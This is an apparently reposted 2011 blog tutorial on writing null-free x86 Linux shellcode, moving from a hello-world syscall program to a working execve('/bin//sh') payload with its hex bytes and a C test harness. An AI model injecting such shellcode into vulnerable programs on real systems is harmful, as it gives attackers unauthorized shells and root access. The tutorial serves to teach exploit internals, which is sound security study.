Search in shivacherukuri.tech@blogger.com

Sunday, February 20, 2011

Byte code writing

Ive written a tutorial about bytecode writing, and I'm wondering what you guys think of it. Before I submit it to asta, I want to remove any inaccurities or something not explained properly.
So please, any advice? Any criticism is more than accepted

But above all, I hope you guys like it....

Bytecode Writing

For several types of exploits â€" such as buffer overflows and format bugs â€" it's useful to write bytecode. There are other ways to exploit them, such as the “return into libcâ€� method. Though most of these vulnerabilities are exploited using bytecode, because you have a lot more power.
Bytecode is code which can be injected into programs by exploiting vulnerabilities, and when executed it will do whatever the attacker injected into the program. Oftentimes it will create a shell, either remote or with root permissions. In this case, the bytecode is called “Shellcode�.

Let's say there's a program prone to a buffer overflow by sending something over the internet. An attacker can create bytecode, and exploit the vulnerability this way to get a shell on your computer, giving him the ability to run commands on your computer.
Or if the attacker already has access to the computer, he may inject his bytecode into a program which is ran as root. His source will be ran as root, and will give him a root shell in case that's what the source was programmed to do (and it worked properly).

I will not explain how to exploit buffer overflows or how to find the proper return address. I will only explain how to write bytecode. Knowledge about buffer overflows and such is useful, but not required. However, to be able to actually use this, you must have knowledge about the vulnerability you want to exploit. Knowledge about programming is useful as well. For the sake of brevity, I am not going to explain every concept of programming. Also, this tutorial will be about writing bytecode for Linux for the x86 architecture. If you use Windows, it won't be hard to write bytecode for Windows after reading this.


First, let's start off with a simple assembly program. Open up and create a file called “shell1.asm� with the contents:
<shell1.asm >
SECTION .text
global _start
_start:
mov eax, 4; System call 4: write();
mov ebx, 1; Argument 1: file descriptor 1 (STDOUT)
mov ecx, helloworld; Argument 2: The message to write
mov edx, 15; Argument 3: The size of the message
int 80h; Execute the systemcall

mov eax, 1; System call 1: exit();
mov ebx, 0; Argument 1: The errorcode (0).
int 80h; Execute the systemcall
SECTION .data
helloworld db "Hello, world..."
<EOF>

Now compile and execute this with the following commands (you will need the program “nasm� to do this):
<commands>
$ nasm -f elf shell1.asm
$ ld shell1.o
$ ./a.out
Hello, world...$
</commands>

As you see, it shows the “Hello, world...� message. However, this is a long way from proper bytecode. This can't be injected into a program yet for several reasons. But before I get to that, let me explain how this program works.
One note before I explain this: everything behind ';' are comments. These are ignored, and only readable when you have the source file. I won't add those here, because it will be completely explained anyway. Comments just make the file more readable.

SECTION .text
This indicates the start of the code section. This section just contains all of the code of the program.

global _start
This will make the label “_start� global, so that it can be used as begin point. See the next line.

_start:
This is a label with the name “_start�. This is the location where the execution of your program will begin. The command under this, will be the first to be executed.

mov eax, 4
Mov copies the second operand (after the comma), to the first operand (before the comma). So this copies the value “4� into the register eax. Registers are inside the processor. There are several registers. They either store a byte, a word, or a double word (dword). There are several uses for them. They can be used for storing something for a little while. This is useful, because reading or writing to registers is a lot quicker than reading or writing to the memory (since it's in the processor itself).
These registers are called “General Purpose� registers. You can modify them, although there are also registers you can not modify without some nifty tricks. At this point, only general purpose registers are important, so I won't cover the others.

A byte are 8 bits. One bit is either one or zero, so there are 2 ^ 8 = 256 possible values in a byte. Since the first possible value is zero and not one, the maximum value of one byte is 255. The registers which can store one byte are called: al, bl, cl, dl, ah, bh, ch and dh.
There are also registers that store one word. This are two bytes, thus 16 bits. There are 256 ^ 2 = 2 ^ 16 = 65536 possible values, so the maximum value is 65535. The registers which can store words are called: ax, bx, cx, dx, si, di, bp and sp.
A double word (or dword) are two words, thus 4 bytes, thus 32 bits. This means there are 65536 ^ 2 = 256 ^ 4 = 2 ^ 32 = 4294967296 values possible. So the highest number which can be stored in a dword-register is that number minus one, 4294967295. The registers that can store dwords are called: eax, ebx, ecx, edx, esi, edi, ebp and esp.

This doesn't, however, mean there are 24 general purpose registers. It seems that way, but it's not true. This is because one register is a part of another. For example, ax are the low two bytes of the register eax.
So if the register eax contains the four bytes “AA BB CC DD� (those values are hex, you should know what hex is), the register ax would be “CC DD�. When you modify this register, ax, in for example the bytes “BB AA�, eax would change as well, into “AA BB BB AA�.
The register ax are the low two bytes from eax, meaning they are the least significant two bytes. There is no register which is the high two bytes from eax, thus the most significant.
This is demonstrated below.
< Image here isn't available in this version >

The same holds true for ebx with bx, bh and bl, for ecx with cx, ch and cl and for edx with dx, dh and dl.
The remaining dword-registers are esi, edi, ebp and esp. The remaining word-registers are “si, di, bp and sp�. As you might have guessed, si are the low word (two bytes) of esi (the least significant), di the low word of edi, bp the low word of ebp and sp the low word of esp.
Keep in mind, if you change one, you change the other(s).

Now back to the source.
mov eax, 4
The eax register will become 4. But why four? To explain this, I must first explain a little bit more about bytecode.

Bytecode must be self-sufficient. You can not call a C function easily, making the bytecode work wherever you put it. For this, we need another way to execute our commands.
There is another way to execute the main C functions. This is done by “interrupt 80h�. Interrupts can be compared to functions; the source gets executed belonging to the 80h interrupt, and then it will return the normal path of the program.
Interrupt 80h is the main Linux interrupt. When you call this, you can do a lot of things. However, you must specify what exactly you want to do. Interrupt 80h has over 250 possible functions it can execute.

First we should decide what we actually want. We want to write something to the screen first. Now we need a list of possible actions of interrupt 80h. There is such a list, and it's in the file /usr/include/asm/unistd.h. You can view them all by using:
<command>
$ cat /usr/include/asm/unistd.h |grep “define __NR_�
</command>

The reason this works is just the way the file is made.
You will see the list of all possible actions, all in the following format:
#define __NR_<funcname> <funcid>
Where <funcname> is the name of the function, and <funcid> the id. Have a look at the list. We want to write to the screen. We'll use “write� for that:
#define __NR_write 4

The function id is 4. We need interrupt 80h to know this. To let it know this, we have to move it into “eax�.

This explains “mov eax, 4�. When interrrupt 80h is called, it will execute the “write� C function.
Let's move on to the next line.

mov ebx, 1
We are calling the write(); C-function. Let's have a look how to use this function. Execute the following command:
<command>
$ man 2 write
</command>
This will show the manual for “write�. The two indicates it must look for a systemcall.

Note it's definition:
ssize_t write(int fd, const void *buf, size_t count);
There are three parameters, and we need to specify them as well. The parameters are:
fd: The file descriptor to write to. We want to write to the screen. This is STDOU (Standard output). The number of this file descriptor is 1. So we want the first parameter to be 1.
buf: A pointer to the text we want to show on the screen. We want to show the message “Hello, world...�, so it must be a pointer to a place in the memory with that data.
Count: The amount of bytes we want to write to the screen. We want to write 15 bytes to the screen (the length of the message “Hello, world...�), so this parameter must be 15.

So in C, we would simply call:
write(1, “Hello, world...�, 15);

Now we need a way to specify those parameters. In assembly, using interrupt 80h, this is done with ebx, ecx and edx. Ebx is the first parameter, ecx the second, and edx the third.

Since we want the first parameter to be one, we need to move one into ebx.
This is what “mov ebx, 1� does.


mov ecx, helloworld
In this case, helloworld is a pointer. This will be defined in the last line. This pointer points to a location in the memory, containing the string “Hello, world...�. This pointer is moved into ecx, the second parameter to the write function.

mov edx, 15
The third parameter, the length of the string to write, must be put in edx.


At this point, we are done setting up the registers. We can call interrupt 80h, and it will understand exactly what we want to do. We call interrupt 80h with the following line:
int 80h
Done. The text appears on the screen (the h indicates the number is hexadecimal).

Though we are not done yet. We need to exit the program, or else we will get error message because it's trying to run malicious data.


Have a look again at the list of available commands with the 80h interrupt. Note the first line:
#define __NR_exit 1
The exit system call. Have a look at it by typing the command “man 2 exit�.

This one only requires one parameter. The status. Let's just use status 0, indicating no error.
The id of the exit systemcall is 1, so we must move that in eax. So that's what we do first:
mov eax, 1
Next, we need to move the status code into the first parameter register, ebx:
mov ebx, 0

Now we're done again, and we can call interrupt 80h. This will terminate the program:
int 80h


We have two more lines.
SECTION .data
This will mark the end of the section with the code (see the first line), and mark the section with the data.

helloworld db "Hello, world..."
This puts the text “Hello, world...� into the memory. This will be done in the size of bytes (db = define byte, dw = define word, dd = define dword). A pointer to this string will be put in the value “helloworld�. This pointer will be put into a register, so that it will print that text, hence the line “mov ecx, helloworld�.



We have a working program now, but not yet a bytecode. There are two more problems in this code, which have to be solved.

The first problem is the pointer to the string, “Hello, world...�. This won't work in bytecode because the address of it is calculated during runtime.
There are multiple solutions for this, but the most popular â€" and far most the best one â€" is the stack.

The stack is a stack of data, stored in double words. You can “push� a value in it, and then “pop� the same value out of it again. The system it uses is LIFO (Last In First Out), sometimes called FILO (First In Last Out).
When the program starts, the register ESP will be set to the highest place in memory of the stack. This is a place it may not write to. When the push command is used to write something to the stack, esp is first decreased by 4 bytes (or one dword). Then the data you want to push on the stack is stored on the location ESP points to.

The x86 architecture uses so called little-endian. This means the bytes are stored in reverse order. So “Hello, world...� is stored as “...dlrow ,olleH�.
So after pushing all this data on the stack, ESP is the pointer to the string “Hello, world...�. We can now use this as pointer for write by moving it into ecx.

Let's convert it to hexadecimal first. We want to push “...dlrow, olleH� (since it's stored in reverse), but we need the hexadecimal equivalent first. Use “man ascii� to get a list of characters. Search every character one by one, and look on the column left to it. The result will be:
2E 2E 2E 64 6C 72 6F 77 20 2C 6F 6C 6C 65 48

Now we need to push this data on the stack. Note that you are pushing dwords, so you must use 4 hexadecimal values after each other, and indicate this is a hex value. You can indicate this by either appending an 'h' to it, or prepending '0x' in front of it. I will use this last one.
Also,the last thing to push â€" the first characters â€" must always be four characters. The next example is wrong:
push 0x2E2E2E64
push 0x6C726F77
push 0x202C6F6C
push 0x6C6548

Why is this wrong? Remember it pushes dwords. The last value, however, isn't a dword. A 00-byte will be prepended, actually pushing “0x006C6548�. Since these are the first few characters, this will be shown. We must use the 00-byte at the end of the string, which will be ignored anyway, because we specified the length of the string.
Here's the right way to push the string on the stack:
push 0x2E2E2E
push 0x646C726F
push 0x77202C6F
push 0x6C6C6548

The first line is the same as “push 0x002E2E2E�.
Now, since ESP points to the last thing pushed on the stack, ESP is a pointer to the string “Hello, world...�. By moving that into ecx, it will get a pointer without using “define byte� (db):
<shell2.asm>
BITS 32
SECTION .text
global _start
_start:
; Push the string “Hello, world...� on the stack
push 0x2E2E2E; Push “...�
push 0x646C726F; Push “dlro�
push 0x77202C6F; Push “w ,o�
push 0x6C6C6548; Push “lleH�

mov eax, 4; System call 4: write();
mov ebx, 1; Argument 1: file descriptor 1 (STDOUT)
mov ecx, esp; Argument 2: The message to write
mov edx, 15; Argument 3: The size of the message
int 80h; Execute the systemcall

mov eax, 1; System call 1: exit();
mov ebx, 0; Argument 1: The errorcode (0).
int 80h; Execute the systemcall
<EOF>

I added “BITS 32� this time. This indicates it's a 32 bits file. We need this later.
There is, however, one more problem we need to fix. The data (including the bytecode) is almost always copied with string functions, such as “strcpy�.
This will copy the data until it reaches a 00-byte. This indicates the end of the string. First, let's compile our bytecode:
<command>
$ nasm shell2.asm
</command>

This creates a program which is not executable. It only contains the binary code. Great for us; that's exactly what we want. Now let's have a look at the data inside shell2:
<command>
$ hexdump -C shell2
00000000 68 2e 2e 2e 00 68 6f 72 6c 64 68 6f 2c 20 77 68 |h....horldho, wh|
00000010 48 65 6c 6c b8 04 00 00 00 bb 01 00 00 00 89 e1 |Hell............|
00000020 ba 0f 00 00 00 cd 80 b8 01 00 00 00 bb 00 00 00 |................|
00000030 00 cd 80 |...|
00000033
</command>

All those 00-bytes will be seen as the end of the string. This isn't allowed, we must remove all those 00-bytes. First let's look at the source of this problem.

One of the most obvious sources is:
mov ebx, 0
This moves 0 into ebx. When this is assembled, this will become a 00-byte. However, since we are moving a dword of data, “mov ebx, 0� will actually become “mov ebx, 0x00000000�. Four 00-bytes will be compiled in. We need another way to zero this ebx register.

Xor is a logical operator. It takes two “operands�, and they will be XOR'ed. The results of XOR are:
0 xor 0 = 0
1 xor 0 = 1
0 xor 1 = 1
1 xor 1 = 0
Now if you xor something with itself, the result is always 0. There, we can xor the ebx register with itself to set it to zero:
xor ebx, ebx
Those are four 00-bytes less. But there are more.

push 0x2E2E2E
It pushes a dword, so it's modified into “0x002E2E2E�. Another 00-byte. The useful thing is, this is the 16th byte of the string. We only print 15 bytes, and the rest will be ignored. So we can change it into anything we want. We could change it into:
push 0x2E2E2E2E
And another 00-byte is gone.

mov eax, 4
This one is a bit harder. This will be compiled into “00000004�. We need to remove those 00-bytes. But note that if eax equals 0, “mov al, 4� does exactly the same thing as “mov eax, 4�. But you only copy one byte by using “mov al, 4�, so this won't be changed into “00000004�, but just remain “04�.
So if you just zero out eax first, without any 00-bytes:
xor eax, eax
And then change the low byte into four:
mov al, 4
We got the same result, without 00-bytes.

mov ebx, 1
We can do this one the same way as the last one. However, there's a quicker way. If we just zero out ebx first:
xor ebx, ebx
And then use another command, “inc�, to increase ebx with one, we also get the same result:
inc ebx
And this will be compiled slightly smaller than using mov to the low-byte.

You can do the same with the rest. The result will be shell3.asm:
<shell3.asm>
BITS 32
SECTION .text
global _start
_start:
; Push the string “Hello, world...� on the stack
push 0x2E2E2E2E; Push “....� (first '.' is ignored)
push 0x646C726F; Push “dlro�
push 0x77202C6F; Push “w ,o�
push 0x6C6C6548; Push “lleH�

; System call 4: write();
xor eax, eax; Set eax to 0
mov al, 4; Move 4 to the low byte of eax

; Argument 1: file descriptor 1 (STDOUT)
xor ebx, ebx; Set ebx to 0
inc ebx; Increase ebx to 1

mov ecx, esp; Argument 2: The message to write

; Argument 3: The size of the message
xor edx, edx; Set edx to 0
mov dl, 15; Move 15 in the low byte of edx

int 80h; Execute the systemcall

; System call 1: exit();
xor eax, eax; Set eax to 0
inc eax; Increase eax to 1

; Argument 1: The errorcode (0).
xor ebx, ebx; Set ebx to 0

int 80h; Execute the systemcall
<EOF>

Let's test it first, and then look at whether there are any 00-bytes remaining:
<commands>
$ nasm -f elf shell3.asm
$ ld shell3.o
$ ./a.out
Hello, world...$ nasm shell3.asm
$ hexdump -C shell3
00000000 68 2e 2e 2e 2e 68 6f 72 6c 64 68 6f 2c 20 77 68 |h....horldho, wh|
00000010 48 65 6c 6c 31 c0 b0 04 31 db 43 89 e1 31 d2 b2 |Hell1...1.C..1..|
00000020 0f cd 80 31 c0 40 31 db cd 80 |...1.@1...|
0000002a
</commands>

As you can see, all the 00-bytes are gone! We had to recompile it again, because “ld� puts crap in it we don't want as bytecode. We have to recompile it just by typing “nasm shell3.asm�. This will create a file “shell3�. It's not executable, but it only contains the data we need.

Let's test the bytecode. As seen above, the hexadecimal data of our bytecode is:
68 2e 2e 2e 2e 68 6f 72 6c 64 68 6f 2c 20 77 68 48 65 6c 6c 31 c0 b0 04 31 db 43 89 e1 31 d2 b2 0f cd 80 31 c0 40 31 db cd 80

We will make a C-file to test it. You will need to put \x before every of the numbers, to indicate it's hexadecimal to the C compiler, and remove the spaces:
\x68\x2e\x2e\x2e\x2e\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20\x77\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31\xdb\x43\x89\xe1\x31\xd2\xb2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80

Here's the file to run this with:
<testshell.c>
char* bytecode =
"\x68\x2e\x2e\x2e\x2e\x68\x6f\x72\x6c\x64\x68\x6f\x2c\x20"
"\x77\x68\x48\x65\x6c\x6c\x31\xc0\xb0\x04\x31\xdb\x43\x89"
"\xe1\x31\xd2\xb2\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80";

int main()
{
void (*f)() = (void*)bytecode;

f();
}
<EOF>

This will create a function, f, whose address is the bytecode. When calling “f();�, it will be executed. Here's how to actually run this:
<commands>
$ make testshell
$ ./testshell
Hello, world...
</commands>



Congratulations! You have made a bytecode.
However, why would you want to execute a write on the screen? That's pretty useless.






Now let's write an actual shellcode. All it has to do is execute “/bin/sh�. Have a look at the interrupt 80h list again, and find the interrupt we can use for this:
#define __NR_execve 11

Look at the manual (“man 2 execve�).
int execve(const char *filename, char *const argv[], char *const envp]);


Think about what we have to do (don't forget to read the manual properly).
What we have to do:
- Set eax to 11, to specify the execve call.
- Put a pointer to the file to run in ebx. Make sure it ends with a 00-byte to specify the end of the filename.
- Create a pointer to the pointer of the filename, and make sure there are four 00-bytes after it to specify the end of the argv array. Put this in ecx.
- Put a pointer to four 00-bytes to specify the end of the envp structure.

The best way is to put this all in the stack:
<shell4.asm>
BITS 32
SECTION .text
global _start
_start:
; First push a 0-dword to the stack, to specify the end of the
; string /bin//sh
xor eax, eax; Set eax to 0
push eax; Push this

; Push /bin//sh to the stack
; We use two slashes because we MUST push 4 bytes a time. And
; this will work fine...
push 0x68732F2F; Push "hs//"
push 0x6E69622F; Push "nib/"

; Copy the pointer of this to ebx: the program to run
mov ebx, esp; Set argument 1

; Push a 00-dword (4 00-bytes) to indicate the end of the array
; eax is still 0 (done before)
push eax; Push the 0-dword

; The pointer to this dword is the last argument, since we don't
; want any environment pointer.
mov edx, esp; Set argument 3

; Push the pointer to the /bin//sh string
push ebx; Push the pointer

; The pointer to this is the argument array, argument 2
mov ecx, esp; Set argument 2

; Now we have to specify we want call 11, execve
; eax is 0 already
mov al, 11; Set eax to 11

int 80h; Run the interrupt to execute it


; Exit the program
xor ebx, ebx; Use parameter 0
mov al, 1; Set eax to 1 (exit call)
int 80h; Execute it
<EOF>

You should understand this by now.

Now try to run it again:
<commands>
$ nasm -f elf shell4.asm
$ ld shell4.o
$ ./a.out
sh-2.05b$
</commands>

We have a shell! This isn't root, because the code isn't ran as root. Let's first check it for 00-bytes:
<commands>
$ nasm shell4.asm
$ hexdump -C shell4
00000000 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 |1.Ph//shh/bin..P|
00000010 89 e2 53 89 e1 b0 0b cd 80 31 db b0 01 cd 80 |..S......1.....|
0000001f
</commands>


No 00-bytes. Now let's test it as C-file:
<shelltest.c>
char* shellcode =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x31"
"\xdb\xb0\x01\xcd\x80";

int main()
{
void (*f)() = (void*)shellcode;

f();
}
<EOF>

<commands>
$ make shelltest
$ ./shelltest
sh-2.05b$
</commands>


One problem here, though. Most programs temporarily drop their rights, so that they can recover them later. Our shellcode must first get those rights back. It won't harm to do it when the rights aren't dropped, but it won't work if you don't do it when the rights are dropped. So you should always do it.

The rights must be recovered using the function setreuid();. Try to make this yourself, you should be able to do this. I've gotten you far enough, and I don't want script-kiddies to steal everything here.

And the rest should be pretty easy, as long as you know C.

--

No comments:

Post a Comment